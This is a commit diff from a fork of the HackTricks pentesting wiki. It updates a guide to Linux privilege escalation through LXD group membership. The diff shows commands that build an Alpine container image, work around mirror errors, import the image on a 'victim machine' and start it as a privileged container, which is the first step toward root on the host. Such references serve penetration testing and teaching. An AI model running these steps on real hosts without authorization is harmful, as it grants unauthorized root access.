coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Update lxd-privilege-escalation.md

Browse Source
This commit is contained in:
Álex B 2020-11-17 22:38:49 +01:00 committed by GitHub
parent cbbce1ada1
commit 08797689fd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
View File

@ -24,6 +24,8 @@ cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
# If that fails, run it adding -o image.release=3.8 at the end.
```
Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
@ -68,12 +70,14 @@ ERROR: unsatisfiable constraints:
Failed to install rootfs
# Maybe the error is due to mirror sites but it will create a rootfs directory in same folder i.e "lxd-alpine-builder" .
1.) Goto - cd/rootfs/usr/share/alpine-mirrors/Mirrors.txt
2.) Open that .txt file with any editor and remove all the mirror sites except first one, then save it there only.
3.) Again run - sudo ./build-alpine -a i686
1.) Edit the file rootfs/usr/share/alpine-mirrors/Mirrors.txt deleting all the entries but the first one, do the same with mirrors.yaml.
2.) Again run - sudo ./build-alpine -a i686
# import the image
lxc image import ./alpine.tar.gz --alias myimage
lxc image import ./alpine.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true